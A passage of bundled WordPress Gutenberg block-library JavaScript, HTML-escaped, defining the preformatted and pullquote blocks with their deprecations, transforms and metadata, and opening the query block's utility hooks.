          }
        })
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; (0, import_blocks90.createBlock)(&quot;core/paragraph&quot;, attributes2)
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/code&quot;],
        transform: (attributes2) =&gt; (0, import_blocks90.createBlock)(&quot;core/code&quot;, attributes2)
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/verse&quot;],
        transform: (attributes2) =&gt; (0, import_blocks90.createBlock)(&quot;core/verse&quot;, attributes2)
      }
    ]
  };
  var transforms_default27 = transforms26;

  // packages/block-library/build-module/preformatted/index.mjs
  var { fieldsKey: fieldsKey15, formKey: formKey15 } = unlock(import_blocks91.privateApis);
  var { name: name82 } = block_default81;
  var settings81 = {
    icon: preformatted_default,
    example: {
      attributes: {
        /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
        // translators: Sample content for the Preformatted block. Can be replaced with a more locale-adequate work.
        content: (0, import_i18n182.__)(
          &quot;EXT. XANADU - FAINT DAWN - 1940 (MINIATURE)\nWindow, very small in the distance, illuminated.\nAll around this is an almost totally black screen. Now, as the camera moves slowly towards the window which is almost a postage stamp in the frame, other forms appear;&quot;
        )
        /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
      }
    },
    transforms: transforms_default27,
    edit: PreformattedEdit,
    save: save39,
    merge(attributes2, attributesToMerge) {
      return {
        content: attributes2.content + &quot;\n\n&quot; + attributesToMerge.content
      };
    }
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings81[fieldsKey15] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n182.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings81[formKey15] = {
      fields: [&quot;content&quot;]
    };
  }
  var init81 = () =&gt; initBlock({ name: name82, metadata: block_default81, settings: settings81 });

  // packages/block-library/build-module/pullquote/index.mjs
  var pullquote_exports = {};
  __export(pullquote_exports, {
    init: () =&gt; init82,
    metadata: () =&gt; block_default82,
    name: () =&gt; name83,
    settings: () =&gt; settings82
  });
  var import_i18n184 = __toESM(require_i18n(), 1);
  var import_blocks94 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/pullquote/deprecated.mjs
  var import_block_editor203 = __toESM(require_block_editor(), 1);
  var import_data112 = __toESM(require_data(), 1);

  // packages/block-library/build-module/pullquote/shared.mjs
  var SOLID_COLOR_CLASS = `is-style-solid-color`;

  // packages/block-library/build-module/pullquote/deprecated.mjs
  var import_jsx_runtime379 = __toESM(require_jsx_runtime(), 1);
  var blockAttributes6 = {
    value: {
      type: &quot;string&quot;,
      source: &quot;html&quot;,
      selector: &quot;blockquote&quot;,
      multiline: &quot;p&quot;
    },
    citation: {
      type: &quot;string&quot;,
      source: &quot;html&quot;,
      selector: &quot;cite&quot;,
      default: &quot;&quot;
    },
    mainColor: {
      type: &quot;string&quot;
    },
    customMainColor: {
      type: &quot;string&quot;
    },
    textColor: {
      type: &quot;string&quot;
    },
    customTextColor: {
      type: &quot;string&quot;
    }
  };
  function parseBorderColor(styleString) {
    if (!styleString) {
      return;
    }
    const matches = styleString.match(/border-color:([^;]+)[;]?/);
    if (matches &amp;&amp; matches[1]) {
      return matches[1];
    }
  }
  function multilineToInline(value) {
    value = value || `&lt;p&gt;&lt;/p&gt;`;
    const padded = `&lt;/p&gt;${value}&lt;p&gt;`;
    const values = padded.split(`&lt;/p&gt;&lt;p&gt;`);
    values.shift();
    values.pop();
    return values.join(&quot;&lt;br&gt;&quot;);
  }
  var v57 = {
    attributes: {
      value: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;blockquote&quot;,
        multiline: &quot;p&quot;,
        role: &quot;content&quot;
      },
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;cite&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;right&quot;, &quot;wide&quot;, &quot;full&quot;],
      color: {
        gradients: true,
        background: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      __experimentalStyle: {
        typography: {
          fontSize: &quot;1.5em&quot;,
          lineHeight: &quot;1.6&quot;
        }
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, citation, value } = attributes2;
      const shouldShowCitation = !import_block_editor203.RichText.isEmpty(citation);
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(
        &quot;figure&quot;,
        {
          ...import_block_editor203.useBlockProps.save({
            className: clsx_default({
              [`has-text-align-${textAlign}`]: textAlign
            })
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(&quot;blockquote&quot;, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            shouldShowCitation &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
          ] })
        }
      );
    },
    migrate({ value, ...attributes2 }) {
      return {
        value: multilineToInline(value),
        ...attributes2
      };
    }
  };
  var v48 = {
    attributes: {
      ...blockAttributes6
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;right&quot;, &quot;wide&quot;, &quot;full&quot;],
      color: {
        gradients: true,
        background: true,
        link: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      }
    },
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        customTextColor,
        textColor,
        value,
        citation,
        className
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClasses, figureStyles;
      if (isSolidColorStyle) {
        const backgroundClass = (0, import_block_editor203.getColorClassName)(
          &quot;background-color&quot;,
          mainColor
        );
        figureClasses = clsx_default({
          &quot;has-background&quot;: backgroundClass || customMainColor,
          [backgroundClass]: backgroundClass
        });
        figureStyles = {
          backgroundColor: backgroundClass ? void 0 : customMainColor
        };
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        &quot;color&quot;,
        textColor
      );
      const blockquoteClasses = clsx_default({
        &quot;has-text-color&quot;: textColor || customTextColor,
        [blockquoteTextColorClass]: blockquoteTextColorClass
      });
      const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(
        &quot;figure&quot;,
        {
          ...import_block_editor203.useBlockProps.save({
            className: figureClasses,
            style: figureStyles
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
            &quot;blockquote&quot;,
            {
              className: blockquoteClasses,
              style: blockquoteStyles,
              children: [
                /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
                !import_block_editor203.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
              ]
            }
          )
        }
      );
    },
    migrate({
      value,
      className,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2;
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor &amp;&amp; style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? &quot;left&quot; : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v39 = {
    attributes: {
      ...blockAttributes6,
      // figureStyle is an attribute that never existed.
      // We are using it as a way to access the styles previously applied to the figure.
      figureStyle: {
        source: &quot;attribute&quot;,
        selector: &quot;figure&quot;,
        attribute: &quot;style&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        textColor,
        customTextColor,
        value,
        citation,
        className,
        figureStyle
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClasses, figureStyles;
      if (isSolidColorStyle) {
        const backgroundClass = (0, import_block_editor203.getColorClassName)(
          &quot;background-color&quot;,
          mainColor
        );
        figureClasses = clsx_default({
          &quot;has-background&quot;: backgroundClass || customMainColor,
          [backgroundClass]: backgroundClass
        });
        figureStyles = {
          backgroundColor: backgroundClass ? void 0 : customMainColor
        };
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      } else if (mainColor) {
        const borderColor = parseBorderColor(figureStyle);
        figureStyles = {
          borderColor
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        &quot;color&quot;,
        textColor
      );
      const blockquoteClasses = (textColor || customTextColor) &amp;&amp; clsx_default(&quot;has-text-color&quot;, {
        [blockquoteTextColorClass]: blockquoteTextColorClass
      });
      const blockquoteStyles = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(&quot;figure&quot;, { className: figureClasses, style: figureStyles, children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
        &quot;blockquote&quot;,
        {
          className: blockquoteClasses,
          style: blockquoteStyles,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            !import_block_editor203.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
          ]
        }
      ) });
    },
    migrate({
      value,
      className,
      figureStyle,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2;
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor &amp;&amp; style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      if (!isSolidColorStyle &amp;&amp; mainColor &amp;&amp; figureStyle) {
        const borderColor = parseBorderColor(figureStyle);
        if (borderColor) {
          return {
            value: multilineToInline(value),
            ...attributes2,
            className,
            // Block supports: Set style.border.color if a deprecated block has `mainColor`, inline border CSS and is not a solid color style.
            style: {
              border: {
                color: borderColor
              }
            }
          };
        }
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? &quot;left&quot; : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v214 = {
    attributes: blockAttributes6,
    save({ attributes: attributes2 }) {
      const {
        mainColor,
        customMainColor,
        textColor,
        customTextColor,
        value,
        citation,
        className
      } = attributes2;
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let figureClass, figureStyles;
      if (isSolidColorStyle) {
        figureClass = (0, import_block_editor203.getColorClassName)(&quot;background-color&quot;, mainColor);
        if (!figureClass) {
          figureStyles = {
            backgroundColor: customMainColor
          };
        }
      } else if (customMainColor) {
        figureStyles = {
          borderColor: customMainColor
        };
      } else if (mainColor) {
        const colors = (0, import_data112.select)(import_block_editor203.store).getSettings().colors ?? [];
        const colorObject = (0, import_block_editor203.getColorObjectByAttributeValues)(
          colors,
          mainColor
        );
        figureStyles = {
          borderColor: colorObject.color
        };
      }
      const blockquoteTextColorClass = (0, import_block_editor203.getColorClassName)(
        &quot;color&quot;,
        textColor
      );
      const blockquoteClasses = textColor || customTextColor ? clsx_default(&quot;has-text-color&quot;, {
        [blockquoteTextColorClass]: blockquoteTextColorClass
      }) : void 0;
      const blockquoteStyle = blockquoteTextColorClass ? void 0 : { color: customTextColor };
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(&quot;figure&quot;, { className: figureClass, style: figureStyles, children: /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(
        &quot;blockquote&quot;,
        {
          className: blockquoteClasses,
          style: blockquoteStyle,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
            !import_block_editor203.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
          ]
        }
      ) });
    },
    migrate({
      value,
      className,
      mainColor,
      customMainColor,
      customTextColor,
      ...attributes2
    }) {
      const isSolidColorStyle = className?.includes(SOLID_COLOR_CLASS);
      let style2 = {};
      if (customMainColor) {
        if (!isSolidColorStyle) {
          style2 = {
            border: {
              color: customMainColor
            }
          };
        } else {
          style2 = {
            color: {
              background: customMainColor
            }
          };
        }
      }
      if (customTextColor &amp;&amp; style2) {
        style2.color = {
          ...style2.color,
          text: customTextColor
        };
      }
      return {
        value: multilineToInline(value),
        className,
        backgroundColor: isSolidColorStyle ? mainColor : void 0,
        borderColor: isSolidColorStyle ? void 0 : mainColor,
        textAlign: isSolidColorStyle ? &quot;left&quot; : void 0,
        ...attributes2,
        style: style2
      };
    }
  };
  var v135 = {
    attributes: {
      ...blockAttributes6
    },
    save({ attributes: attributes2 }) {
      const { value, citation } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(&quot;blockquote&quot;, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
        !import_block_editor203.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
      ] });
    },
    migrate({ value, ...attributes2 }) {
      return {
        value: multilineToInline(value),
        ...attributes2
      };
    }
  };
  var v02 = {
    attributes: {
      ...blockAttributes6,
      citation: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;footer&quot;
      },
      align: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { value, citation, align } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime379.jsxs)(&quot;blockquote&quot;, { className: `align${align}`, children: [
        /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { value, multiline: true }),
        !import_block_editor203.RichText.isEmpty(citation) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime379.jsx)(import_block_editor203.RichText.Content, { tagName: &quot;footer&quot;, value: citation })
      ] });
    },
    migrate({ value, ...attributes2 }) {
      return {
        value: multilineToInline(value),
        ...attributes2
      };
    }
  };
  var deprecated_default39 = [v57, v48, v39, v214, v135, v02];

  // packages/block-library/build-module/pullquote/edit.mjs
  var import_i18n183 = __toESM(require_i18n(), 1);
  var import_block_editor204 = __toESM(require_block_editor(), 1);
  var import_blocks92 = __toESM(require_blocks(), 1);
  var import_element102 = __toESM(require_element(), 1);

  // packages/block-library/build-module/pullquote/figure.mjs
  var Figure = &quot;figure&quot;;

  // packages/block-library/build-module/pullquote/blockquote.mjs
  var BlockQuote = &quot;blockquote&quot;;

  // packages/block-library/build-module/pullquote/edit.mjs
  var import_jsx_runtime380 = __toESM(require_jsx_runtime(), 1);
  var isWebPlatform = import_element102.Platform.OS === &quot;web&quot;;
  function PullQuoteEdit({
    attributes: attributes2,
    setAttributes,
    isSelected,
    insertBlocksAfter
  }) {
    const { textAlign, citation, value } = attributes2;
    const blockProps = (0, import_block_editor204.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const shouldShowCitation = !import_block_editor204.RichText.isEmpty(citation) || isSelected;
    return /* @__PURE__ */ (0, import_jsx_runtime380.jsxs)(import_jsx_runtime380.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime380.jsx)(import_block_editor204.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime380.jsx)(
        import_block_editor204.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) =&gt; {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime380.jsx)(Figure, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime380.jsxs)(BlockQuote, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime380.jsx)(
          import_block_editor204.RichText,
          {
            identifier: &quot;value&quot;,
            tagName: &quot;p&quot;,
            value,
            onChange: (nextValue) =&gt; setAttributes({
              value: nextValue
            }),
            &quot;aria-label&quot;: (0, import_i18n183.__)(&quot;Pullquote text&quot;),
            placeholder: (
              // translators: placeholder text used for the quote
              (0, import_i18n183.__)(&quot;Add quote&quot;)
            ),
            textAlign: &quot;center&quot;
          }
        ),
        shouldShowCitation &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime380.jsx)(
          import_block_editor204.RichText,
          {
            identifier: &quot;citation&quot;,
            tagName: isWebPlatform ? &quot;cite&quot; : void 0,
            style: { display: &quot;block&quot; },
            value: citation,
            &quot;aria-label&quot;: (0, import_i18n183.__)(&quot;Pullquote citation text&quot;),
            placeholder: (
              // translators: placeholder text used for the citation
              (0, import_i18n183.__)(&quot;Add citation&quot;)
            ),
            onChange: (nextCitation) =&gt; setAttributes({
              citation: nextCitation
            }),
            className: &quot;wp-block-pullquote__citation&quot;,
            __unstableMobileNoFocusOnMount: true,
            textAlign: &quot;center&quot;,
            __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter(
              (0, import_blocks92.createBlock)((0, import_blocks92.getDefaultBlockName)())
            )
          }
        )
      ] }) })
    ] });
  }
  var edit_default30 = PullQuoteEdit;

  // packages/block-library/build-module/pullquote/block.json
  var block_default82 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/pullquote&quot;,
    title: &quot;Pullquote&quot;,
    category: &quot;text&quot;,
    description: &quot;Give special visual emphasis to a quote from your text.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      value: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;p&quot;,
        role: &quot;content&quot;
      },
      citation: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;cite&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      align: [&quot;left&quot;, &quot;right&quot;, &quot;wide&quot;, &quot;full&quot;],
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        gradients: true,
        background: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      dimensions: {
        minHeight: true,
        __experimentalDefaultControls: {
          minHeight: false
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      __experimentalStyle: {
        typography: {
          fontSize: &quot;1.5em&quot;,
          lineHeight: &quot;1.6&quot;
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-pullquote-editor&quot;,
    style: &quot;wp-block-pullquote&quot;
  };

  // packages/block-library/build-module/pullquote/save.mjs
  var import_block_editor205 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime381 = __toESM(require_jsx_runtime(), 1);
  function save40({ attributes: attributes2 }) {
    const { textAlign, citation, value } = attributes2;
    const shouldShowCitation = !import_block_editor205.RichText.isEmpty(citation);
    return /* @__PURE__ */ (0, import_jsx_runtime381.jsx)(
      &quot;figure&quot;,
      {
        ...import_block_editor205.useBlockProps.save({
          className: clsx_default({
            [`has-text-align-${textAlign}`]: textAlign
          })
        }),
        children: /* @__PURE__ */ (0, import_jsx_runtime381.jsxs)(&quot;blockquote&quot;, { children: [
          /* @__PURE__ */ (0, import_jsx_runtime381.jsx)(import_block_editor205.RichText.Content, { tagName: &quot;p&quot;, value }),
          shouldShowCitation &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime381.jsx)(import_block_editor205.RichText.Content, { tagName: &quot;cite&quot;, value: citation })
        ] })
      }
    );
  }

  // packages/block-library/build-module/pullquote/transforms.mjs
  var import_blocks93 = __toESM(require_blocks(), 1);
  var import_rich_text5 = __toESM(require_rich_text(), 1);
  var transforms27 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; {
          return (0, import_blocks93.createBlock)(&quot;core/pullquote&quot;, {
            value: (0, import_rich_text5.toHTMLString)({
              value: (0, import_rich_text5.join)(
                attributes2.map(
                  ({ content }) =&gt; (0, import_rich_text5.create)({ html: content })
                ),
                &quot;\n&quot;
              )
            }),
            anchor: attributes2.anchor
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/heading&quot;],
        transform: ({ content, anchor }) =&gt; {
          return (0, import_blocks93.createBlock)(&quot;core/pullquote&quot;, {
            value: content,
            anchor
          });
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: ({ value, citation }) =&gt; {
          const paragraphs = [];
          if (value) {
            paragraphs.push(
              (0, import_blocks93.createBlock)(&quot;core/paragraph&quot;, {
                content: value
              })
            );
          }
          if (citation) {
            paragraphs.push(
              (0, import_blocks93.createBlock)(&quot;core/paragraph&quot;, {
                content: citation
              })
            );
          }
          if (paragraphs.length === 0) {
            return (0, import_blocks93.createBlock)(&quot;core/paragraph&quot;, {
              content: &quot;&quot;
            });
          }
          return paragraphs;
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/heading&quot;],
        transform: ({ value, citation }) =&gt; {
          if (!value) {
            return (0, import_blocks93.createBlock)(&quot;core/heading&quot;, {
              content: citation
            });
          }
          const headingBlock = (0, import_blocks93.createBlock)(&quot;core/heading&quot;, {
            content: value
          });
          if (!citation) {
            return headingBlock;
          }
          return [
            headingBlock,
            (0, import_blocks93.createBlock)(&quot;core/heading&quot;, {
              content: citation
            })
          ];
        }
      }
    ]
  };
  var transforms_default28 = transforms27;

  // packages/block-library/build-module/pullquote/index.mjs
  var { fieldsKey: fieldsKey16, formKey: formKey16 } = unlock(import_blocks94.privateApis);
  var { name: name83 } = block_default82;
  var settings82 = {
    icon: pullquote_default,
    example: {
      attributes: {
        value: (
          // translators: Quote serving as example for the Pullquote block. Attributed to Matt Mullenweg.
          (0, import_i18n184.__)(
            &quot;One of the hardest things to do in technology is disrupt yourself.&quot;
          )
        ),
        citation: (0, import_i18n184.__)(&quot;Matt Mullenweg&quot;)
      }
    },
    transforms: transforms_default28,
    edit: edit_default30,
    save: save40,
    deprecated: deprecated_default39
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings82[fieldsKey16] = [
      {
        id: &quot;value&quot;,
        label: (0, import_i18n184.__)(&quot;Content&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      },
      {
        id: &quot;citation&quot;,
        label: (0, import_i18n184.__)(&quot;Citation&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings82[formKey16] = {
      fields: [&quot;value&quot;, &quot;citation&quot;]
    };
  }
  var init82 = () =&gt; initBlock({ name: name83, metadata: block_default82, settings: settings82 });

  // packages/block-library/build-module/query/index.mjs
  var query_exports = {};
  __export(query_exports, {
    init: () =&gt; init83,
    metadata: () =&gt; block_default83,
    name: () =&gt; name84,
    settings: () =&gt; settings83
  });

  // packages/block-library/build-module/query/block.json
  var block_default83 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/query&quot;,
    title: &quot;Query Loop&quot;,
    category: &quot;theme&quot;,
    description: &quot;An advanced block that allows displaying post types based on different query parameters and visual configurations.&quot;,
    keywords: [&quot;posts&quot;, &quot;list&quot;, &quot;blog&quot;, &quot;blogs&quot;, &quot;custom post types&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      queryId: {
        type: &quot;number&quot;
      },
      query: {
        type: &quot;object&quot;,
        default: {
          perPage: null,
          pages: 0,
          offset: 0,
          postType: &quot;post&quot;,
          order: &quot;desc&quot;,
          orderBy: &quot;date&quot;,
          author: &quot;&quot;,
          search: &quot;&quot;,
          exclude: [],
          sticky: &quot;&quot;,
          inherit: true,
          taxQuery: null,
          parents: [],
          format: []
        }
      },
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      namespace: {
        type: &quot;string&quot;
      },
      enhancedPagination: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    usesContext: [&quot;templateSlug&quot;],
    providesContext: {
      queryId: &quot;queryId&quot;,
      query: &quot;query&quot;,
      displayLayout: &quot;displayLayout&quot;,
      enhancedPagination: &quot;enhancedPagination&quot;
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      layout: true,
      interactivity: true
    },
    editorStyle: &quot;wp-block-query-editor&quot;
  };

  // packages/block-library/build-module/query/edit/index.mjs
  var import_data123 = __toESM(require_data(), 1);
  var import_element111 = __toESM(require_element(), 1);
  var import_block_editor211 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/query/edit/query-content.mjs
  var import_data121 = __toESM(require_data(), 1);
  var import_compose49 = __toESM(require_compose(), 1);
  var import_element109 = __toESM(require_element(), 1);
  var import_block_editor209 = __toESM(require_block_editor(), 1);
  var import_i18n200 = __toESM(require_i18n(), 1);
  var import_core_data74 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/query/edit/inspector-controls/enhanced-pagination-control.mjs
  var import_components118 = __toESM(require_components(), 1);
  var import_i18n186 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/query/utils.mjs
  var import_data113 = __toESM(require_data(), 1);
  var import_element103 = __toESM(require_element(), 1);
  var import_core_data68 = __toESM(require_core_data(), 1);
  var import_block_editor206 = __toESM(require_block_editor(), 1);
  var import_html_entities10 = __toESM(require_html_entities(), 1);
  var import_i18n185 = __toESM(require_i18n(), 1);
  var import_blocks95 = __toESM(require_blocks(), 1);
  var getEntitiesInfo = (entities) =&gt; {
    const mapping = entities?.reduce(
      (accumulator, entity) =&gt; {
        const { mapById, mapByName, names } = accumulator;
        mapById[entity.id] = entity;
        mapByName[entity.name] = entity;
        names.push(entity.name);
        return accumulator;
      },
      { mapById: {}, mapByName: {}, names: [] }
    );
    return {
      entities,
      ...mapping
    };
  };
  var getValueFromObjectPath = (object, path) =&gt; {
    const normalizedPath = path.split(&quot;.&quot;);
    let value = object;
    normalizedPath.forEach((fieldName) =&gt; {
      value = value?.[fieldName];
    });
    return value;
  };
  var mapToIHasNameAndId = (entities, path) =&gt; {
    return (entities || []).map((entity) =&gt; ({
      ...entity,
      name: (0, import_html_entities10.decodeEntities)(getValueFromObjectPath(entity, path))
    }));
  };
  var usePostTypes = () =&gt; {
    const postTypes = (0, import_data113.useSelect)((select9) =&gt; {
      const { getPostTypes } = select9(import_core_data68.store);
      const excludedPostTypes = [&quot;attachment&quot;];
      const filteredPostTypes = getPostTypes({ per_page: -1 })?.filter(
        ({ viewable, slug }) =&gt; viewable &amp;&amp; !excludedPostTypes.includes(slug)
      );
      return filteredPostTypes;
    }, []);
    const postTypesTaxonomiesMap = (0, import_element103.useMemo)(() =&gt; {
      if (!postTypes?.length) {
        return;
      }
      return postTypes.reduce((accumulator, type) =&gt; {
        accumulator[type.slug] = type.taxonomies;
        return accumulator;
      }, {});
    }, [postTypes]);
    const postTypesSelectOptions = (0, import_element103.useMemo)(
      () =&gt; (postTypes || []).map(({ labels, slug }) =&gt; ({
        label: labels.singular_name,
        value: slug
      })),
      [postTypes]
    );
    const postTypeFormatSupportMap = (0, import_element103.useMemo)(() =&gt; {
      if (!postTypes?.length) {
        return {};
      }
      return postTypes.reduce((accumulator, type) =&gt; {
        accumulator[type.slug] = type.supports?.[&quot;post-formats&quot;] || false;
        return accumulator;
      }, {});
    }, [postTypes]);
    return {
      postTypesTaxonomiesMap,
      postTypesSelectOptions,
      postTypeFormatSupportMap
    };
  };
  var useTaxonomies = (postType) =&gt; {
    const taxonomies = (0, import_data113.useSelect)(
      (select9) =&gt; {
        const { getTaxonomies, getPostType } = select9(import_core_data68.store);
        if (getPostType(postType)?.taxonomies?.length &gt; 0) {
          return getTaxonomies({
            type: postType,
